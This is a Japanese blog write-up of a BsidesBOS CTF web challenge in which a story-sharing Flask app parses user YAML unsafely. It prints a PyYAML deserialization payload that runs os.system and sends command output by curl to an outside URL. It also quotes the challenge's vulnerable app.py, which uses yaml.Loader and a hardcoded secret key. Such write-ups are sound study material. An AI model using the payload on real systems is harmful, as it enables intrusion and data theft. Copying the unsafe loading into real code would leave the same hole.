はまやんはまやんはまやん

hamayanhamayan's blog

Yet Another Micro-story Library [BsidesBOS CTF]

Yet Another Micro-story Library
The best website to share your stories. It is super easy to publish them!

調査

ユーザー登録・ログインをして色々いじってみる。
New Postの入力方法が特殊な感じがするので、ここから攻めてみる。
まずは、New Postで不正っぽい感じにしてみる。

Bad Request
Error parsing yaml: while scanning a simple key
in "<unicode string>", line 3, column 1:
plot |
^
could not find expected ':'
in "<unicode string>", line 7, column 1:
keywords:
^

ああ、YAMLか。言われてみれば。
エラーでググるが、pythonやらrailsやらnodejsやら何でも出てくる。
YAMLといえば、YAML Unsafe Deserializationなので、色々試してみるがとりあえずPythonならやったことがあるのでやる。
手元にあった!!python/object/apply:time.sleep [10]を試すと10秒遅れてきている。あってそう。

YAML Deserialization Attack

とりあえず以下でRCEしてみる。
!!python/object/new:os.system [ls | base64 | curl [Your URL] -X POST -d @-]
成功した。あとは色々見るだけ。

ls

DB
app.ini
app.py
flag.txt
models.py
requirements.txt
templates

cat flag.txt -> flag{once_upon_a_time_yaml_pwned}

後学のため…

requirements.txtを確認しておく。

click==7.1.2
Flask==1.1.2
Flask-SQLAlchemy==2.4.3
itsdangerous==1.1.0
Jinja2==2.11.2
MarkupSafe==1.1.1
PyJWT==1.7.1
PyYAML==5.3.1
SQLAlchemy==1.3.18
Werkzeug==1.0.1

PyYAMLでしたね。
app.pyも見てみるか

from flask import Flask, render_template, request, redirect, abort, make_response, session
from models import db, User, Post
from sqlalchemy import desc
import yaml
import datetime

app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///DB/db.sqlite'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config["SECRET_KEY"] = "-KE9@drWVsy@WxMEBy@WxMEfSp^h"
app.config['SESSION_COOKIE_NAME'] = 'storyTimeSession'

@app.before_first_request
def create_tables():
    db.create_all()

db.init_app(app)


def current_user():
    if "id" in session:
        uid = session["id"]
        user = User.query.get(uid)
        return user
    return None


@app.route('/')
def home():
    user = current_user()
    if not user:
        return redirect('signin?error=Please sign in')

    search = request.args.get('search', None)
    success = request.args.get('success', None)
    error = request.args.get('error', None)
    
    posts = []
    if search and not search == '':
        title = "%{}%".format(search)
        posts = Post.query.filter(Post.title.like(title)).order_by(desc(Post.date)).limit(5).all()
    else:
        posts = Post.query.order_by(desc(Post.date)).limit(5).all()
    
    
    resp = make_response(render_template('index.html', posts=posts, user=user, success=success, error=error))
    return resp


@app.route('/post', methods=['POST'])
def create_post():
    user = current_user()
    if not user:
        return redirect('signin?error=Please sign in')

    story_yaml = request.form.get('story', None)
    if not story_yaml:
        abort(400, "No story provided")
    print(story_yaml)
    story = None
    try:
        story = yaml.load(story_yaml, Loader=yaml.Loader)
    except Exception as e:
        abort(400, "Error parsing yaml: " + str(e))
    if story:
        try:
            post = Post(title=story['title'], synopsis=story['synopsis'], plot=story['plot'], keywords=';'.join(story['keywords']), author=user.username, date=datetime.datetime.now().strftime("%m/%d/%Y, %H:%M:%S"))
            db.session.add(post)
            db.session.commit()
        except Exception as e:
            abort(500, str(e))
        
    resp = make_response(redirect('/'))
    return resp


@app.route('/post/<title>')
def post(title):
    user = current_user()
    if not user:
        return redirect('signin?error=Please sign in')

    success = request.args.get('success', None)
    error = request.args.get('error', None)
    
    post = Post.query.filter(Post.title==title).first()
    if not post:
        abort(404, "Post not found")

    resp = make_response(render_template('post.html', post=post, user=user, success=success, error=error))
    return resp


@app.route("/signup", methods=("GET", "POST"))
def signup():

    if request.method == "POST":
        username = request.form.get("username", None)
        password = request.form.get("password", None)
        password2 = request.form.get("password2", None)
        # Check if user exists
        user = User.query.filter(User.username == username).first()
        if user:
            return redirect('signup?error=Username already in use')
        # Check if passwords match
        if password != password2:
            return redirect('signup?error=Passwords do not match')

        
        user = User(username=username, password=password)
        db.session.add(user)
        db.session.commit()
        
        return redirect('signin?success=User created')

    elif request.method == "GET":
        success = request.args.get('success', None)
        error = request.args.get('error', None)
        return render_template("signup.html", success=success, error=error)


@app.route('/signin', methods=('GET', 'POST'))
def signin():

    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        # Check if user exists
        user = User.query.filter(User.username==username, User.password==password).first()
        if not user:
            return redirect('signin?error=Invalid credentials')
        
        session["id"] = user.id
        return redirect('/')


    elif request.method == 'GET':
        success = request.args.get('success', None)
        error = request.args.get('error', None)
        return render_template('signin.html', success=success, error=error)


@app.route('/logout')
def logout():
    session.pop("id", None)
    return redirect('/')

story = yaml.load(story_yaml, Loader=yaml.Loader)
いつものといった感じ。